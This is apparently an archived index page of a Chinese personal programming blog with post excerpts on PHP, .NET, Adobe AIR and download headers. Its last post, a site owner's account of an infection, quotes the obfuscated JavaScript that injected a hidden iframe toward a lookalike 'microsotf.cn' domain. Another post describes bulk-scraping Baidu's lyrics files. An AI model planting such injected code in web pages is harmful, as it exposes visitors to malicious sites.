[原创]我写的最短的微博程序(PHP)
2010-05-16

写了个微博程序。基本需求是:1.无乱码(最好UTF-8)。 2.有输入框可以发布新信息。3.提交后马上可以看到新发的内容。4.必须使用POST方式提交。5.信息后面要有时间标记。6.不能发布任何HTML标签。

<?php
header("content-type:text/html; charset=utf-8");
$a=@file_get_contents(l);
($p=$_POST[s])&&file_put_contents(l,$a='<hr>'.htmlspecialchars($p).date(' Y-m-d H:i').$a);
echo '<form method=post><input name=s></form>'.$a;
?>

运行效果如图:

注释一下:

查看全文...  

阅读:9755 评论: 26 💬
批量抓取百度音乐掌门的歌词文件
2010-05-15

       前段时间心血来潮,想搞个歌词库,于是网上查了一下,发现百度的歌词文件是连续的数字作为文件名(方便啊)。于是就写了个程序批量搞百度的歌词。 

        程序使用socket方式模拟浏览器去取百度的歌词,速度优化到很快了。 我目前已经下载了百度的91083份歌词啦

        百度的歌词文件虽然是数字,但是不是完全连续,中间有些数字是没有歌词的。所以程序显示no的时候,不要觉得奇怪哈。

        用法:在命令行下跑。 输入:php baidu.php。 当然,一次肯定是不可能把百度的所有歌词下载下来,所以要分多次。每次下载的起始数字和结尾数字请打开baidu.php编辑。

        提醒:下的太快了百度会封你IP。不过过一会就又好了。

查看全文...  

阅读:5987 评论: 9 💬
我怎么觉得JScript比C#爽得多?
2010-05-14

      前几天做某个hack工程的时候,需要用到.net来编程。要实现一个类似代理的小程序,通过URL传入目标地址,然后通过.net去连接目标服务器下载文件后返回给我的浏览器。

      开始什么都不知道,于是请教了一个.net高手,写了一个hello world。于是我开始用C#补充代码,用到了.net的socket编程。再次受到C#那超级恶心的变量类型的摧残。每个变量都必须声明变量类型,烦死了。。比如:

IPEndPoint ipe = new IPEndPoint(address, port);

 天哪,谁知道IPEndPoint是什么样的数据类型。


      后来想到.net还可以用JS来写,于是就把刚刚写的代码重写了一下。发现JScript相比C#起来有点多多啊。 首先,变量不用声明类型(当然如果引起混淆时候还是要声明的,只是声明方式不同,比如var address: IPAddress;)。其次,在JScript里面可以使用大部分Javascript的方法。比如各种字符串处理方法 等。


      据说.net是编译成中间语言再执行的,那么用什么语言来写就没什么区别了。但是怎么觉得JScript在.net里面非常受歧视?msdn里面的示例代码什么都有,就是没JScript的。。。。

      本人.net功力尚属入门级,可能我用到的东西太少了。没有体现出C#的强大。(我觉得我愿意永远不知道C#有多么强大...)

完。

阅读:5550 评论: 6 💬
新版博客来啦~~
2010-05-14

最近比较忙,一边是在开发EndCMS,一边在用EndCMS做几个小网站。这个博客就是其中之一。

基于EndCMS,不仅可以不用花费大量时间在繁琐的后台设计上,而且使用EndCMS的模板引擎,更能轻松制作前台页面。

但是EndCMS暂时还没到发布的时候,我还在完善插件等核心机制。


感谢EndTo的大力支持。

完。

阅读:5113 评论: 27 💬
[原创]PHP实现类似ASP里的Application对象
2010-01-21

    以前搞过一段时间的asp,觉得application这个对象很爽。。可以很容易的写一个聊天室。。。后来逐渐转到php,就一直为这事郁闷。。因为php里面没有对应的东西。数据只能往数据库或者文件里面写才能实现共享。 今天在公司做聊天室的时候,灵机一动,居然让我发现了一神奇的方法~~哈哈:

PHP里面的$_SESSION变量可以实现类似Application的功能,但重点在它不能跨浏览器进程,或者说是跨用户。。只能是单个用户操作不同页面时候的变量传递,是一种cookie的替代方案。
众所周知,php里,调用session_start()之后,客户浏览器会收到一个大概名叫PHPSESSID的cookie,这个叫session_id。不同页面的参数共享就是靠这个变量实现的。
有时,由于客户端浏览器或者其他什么神奇的原因,导致无法正常发送 PHPSESSID的时候,我们可以手动发送,然后在php里面的session_start();之前,调用session_id("sessionid在这里");手工指定session_id ,这样,就可以让session工作正常。(比如浏览器不支持cookie,或用flash上传文件的时候)
好了,关键的东西来了。如果我们让每个用户的session_id都一样会怎么样? 哈哈。ASP的Application功能便呼之欲出~~~
实现方法非常简单: 在每个php页面的前面都写上下面的代码: session_id("xxxx"); session_start(); 然后,你就可以像用Application对象那样来使用$_SESSION了。。~~哈哈哈哈~~~爽吧~~

    PS:ASP的Application对象是存储在内存里面的,而PHP的SESSION一般默认是用文件来存的。不过也可以设置php.ini让php用mysql数据库存,甚至用memcached来存~~具体方法就不详述了。。 chy提到session本来的作用是保存用户的登录信息等,是非常有用的。我这样一弄,session就失去了它原有的功能。所以我搞了一个函数,可以实现全局session和局部session共存。互不干扰。

/*
用法:
application('key','value'); //设置 key=value
$value = application('key'); //获取 key的值
*/

function application()
{
	$args = func_get_args(); //获取输入参数
	if (count($args) >2 || count($args) < 1) return;
	$ssid = session_id(); //保存当前session_id
	session_write_close(); //结束当前session
	ob_start(); //禁止全局session发送header
	session_id("xxx"); //注册全局session_id
	session_start(); //开启全局session
	$key = $args[0];
	if (count($args) == 2) //如果有第二个参数,那么表示写入全局session
	{
		$re = ($_SESSION[$key] = $args[1]);
	}
	else // 如果只有一个参数,那么返回该参数对应的value
	{
		$re = $_SESSION[$key];
	}
	session_write_close(); //结束全局session
	session_id($ssid); //重新注册上面被中断的非全局session
	session_start(); //重新开启
	ob_end_clean(); //抛弃刚刚由于session_start产生的一些header输出
	return $re; 
}

    当然,这样操作的成本有点高。。不过在实际使用中,基本不会遇到使用全局session和局部session的频率都很高的情况。所以可以按需求封装局部session或者是全局session。 上面那个函数封装的是全局session,稍微修改就可以实现局部session。

完。

阅读:19443 评论: 30 💬
用HTML+Javascript开发AIR桌面程序
2009-11-06

    早就听说Adobe Air可以用HTML+Javascript的方式来开发,但是直到前不就才开始研究学习。做了几个air的小程序,其中遇到了很多困难。Air的资料网上比较少。所以遇到问题有时候真不知道怎么办。     其中一个问题是弹出提示窗口(屏幕右下角或者右上角那种提示性的临时窗口),不知道怎么调整大小和位置。找了好多资料,后来终于明白了。弹出窗口的代码如下:

var options = new air.NativeWindowInitOptions();
options.systemChrome = "none"; //取消系统窗口外框
options.type = "lightweight"; //轻量级窗口
options.transparent = true; //允许透明
var bounds = new air.Rectangle(100,200,100,100); 

var newHTMLLoader = air.HTMLLoader.createRootWindow(true, options, true, bounds);
newHTMLLoader.load(new air.URLRequest("notify.html"));
newHTMLLoader.stage.nativeWindow.alwaysInFront = true; //窗口始终置顶

上面这段代码会在屏幕的左上方(x:100,y:200)创建一个宽高都是100px的HTML窗口,内容是notify.html。     其中,newHTMLLoader.window 可以访问到新建的窗口。可以预先定义一些函数,供窗口加载完后调用。比如:

newHTMLLoader.window.on_load = function()
{
     alert('loaded!');
}

然后在notify.html页面里面写上 window.onload = on_load; 就可以了。     而控制窗口宽高、位置的对象是newHTMLLoader.stage.nativeWindow 。可以通过设置这个对象的 x,y,width,height(而不是我们通常认为的left,top,width,height)属性来改变窗口的长宽和位置。 在nofity.html里对应的对象是window.nativeWindow。     nativeWindow貌似是ActionScript里面的比较常用的东西。不过对我们这种没有研究过AS的人来说,不容易想到控制位置是用x和y,而不是left和top。。。。。。     下面说下开发AIR程序比开发WEB程序爽的地方:

  • 在应用程序沙箱中的代码可以任意跨域访问!而且更爽的是AIR会自动保存和处理Cookie,也就是说我可以用AJAX来模拟登录,之后可以直接用AJAX取登录后才能取得的内容而不用担心Cookie!真是太神奇了!
  • AIR采用Webkit引擎,不用担心跨操作系统的兼容性。最多是字体显示稍微不同而已。而且可以使用大部分的JS框架,比如JQuery!
  • AIR支持部分CSS3! 其中比较爽的是可以很容易的实现圆角效果,颜色可以使用RGBA(第四个参数是透明度)。好处是我们可以很容易的制作一个背景半透明,但是内容不透明的圆角提示窗口~~(例如:-webkit-border-radius:5px; background-color:rgba(20%,20%,20%,0.8); )
  • 支持JS进行文件读取等本地操作,支持本地SQL等。。

完。

阅读:7984 评论: 12 💬
发布AIR应用程序:空气域名查询。
2009-10-26

    最近对Adobe 的Air技术非常感兴趣。 有了这种技术,我们以后就能很轻易的把B/S程序扩展到桌面,成为C/S程序!     

    下面是我的第一个AIR应用程序:空气域名查询。 “空气”二字源于 Air。 主要功能是快速查询某个域名是否被注册。

    输入一串字符串,选中下面的后缀,程序会自动查询对应的域名。 当然你也可以自定义查询任意后缀,如果想这样,只需要输入完整的域名即可(当然,不包含www)。比如:当我输入longbill,并选中com,和net。那么程序会自动查询longbill.com和longbill.net。如果我输入longbill.la,那么程序只会查询longbill.la。

    下面是截图:     

    此外,我还在尝试做一些附加功能,比如whois查询和域名收藏(方便以后从收藏的域名中找出最好的)。现在只实现了在新窗口种查询whois,实现方式也很机械:调用http://who.is/longbill.cn的网页内容。     

    如果你对此程序感兴趣,可以点击这里下载。 不过,前提是你的电脑上有Adobe Air 运行环境。如果没有,你可以去这里安装。

完。

阅读:4238 评论: 13 💬
最强大的编辑器:Textmate !
2009-10-24

用Textmate已经有一年多了。但是一直以来都只是把它当作一个文本编辑器来用的。没有用什么高级功能。仅仅知道bundle可以实现代码补全。今天看到Textmate Bundle里面有一个TODO,很好奇。于是打开一看,有几个标签,但是没什么内容。我还以为是普通的todo list 。但是事实远不止如此。潜心研究了一番,甚至看了todo bundle的源代码。下面为大家介绍一下:

查看全文...  

阅读:17534 评论: 6 💬
关于PHP输出文件给浏览器下载时的编码问题
2009-08-01
    做文件管理器的时候会遇到让PHP输出一个文件给浏览器下载。我们都知道要发一下一些header:

$filename = "下载文件名";
$filesize = filesize('文件地址'); //获得文件大小
header('Pragma: public');
header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: application/force-download');
header('Content-Disposition: attachment; filename="'.$filename.'"');
header('Content-length: '.$filesize);
然后再用readfile把文件内容输出给浏览器。但是会遇到一个很烦的问题:弹出文件下载框时,显示的文件名在不同的浏览器下面是不一样的。有的是乱码,有的是空白。 为了解决这个问题,我找了查了很多资料。最终找到一个好的解决办法: 文件名统一使用utf-8编码,然后针对ie浏览器进行一次rawurlencode编码。 比如: if (preg_match('/MSIE/',$_SERVER['HTTP_USER_AGENT'])) $filename = rawurlencode($filename); 这样在不同操作系统,不同浏览器里面,下载文件的时候,中文文件名都能正确显示了。 测试通过:Safari4(MAC) ,Firefox3.5(MAC), Firefox3(Win), IE7/8(Win), Chrome(Win)

完。

阅读:5834 评论: 4 💬
空间被大面积挂马。
2009-07-09
最近莫名其妙的博客打不开,一查,发现用作跳转的index.php被加了东西。是一个iframe的马。那段php代码还有错误,汗~~所以造成无法跳转。后来经过调查,发现这个马的一些特征:
一般感染只感染 index.php , main.php, login.php, index.html。 核心代码类似: <script>document.write("<"+'if'+''+'ra'+''+"me"+' sr'+"c=\"ht"+'t'+"p:"+''+"/"+''+'/mic'+"roso"+"tf"+''+'.c'+''+"n"+'/'+"\" wid"+''+"th=1 h"+"eigh"+''+'t'+"="+"2></i"+''+"fr"+"a"+''+""+''+"me"+'>');</script><script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');</script>
可以看到iframe的页面指向 microsotf.cn (不用惊恐,不是microsoft~~)。Google这个网页,发现这个网页是俄罗斯的。报告有2个病毒。现在已经无法访问了。 现在一时也查不到中招的原因。只有写个脚本修复被修改的文件吧。。。

完。

阅读:3355 评论: 20 💬
Copyright © Longbill 2008-2026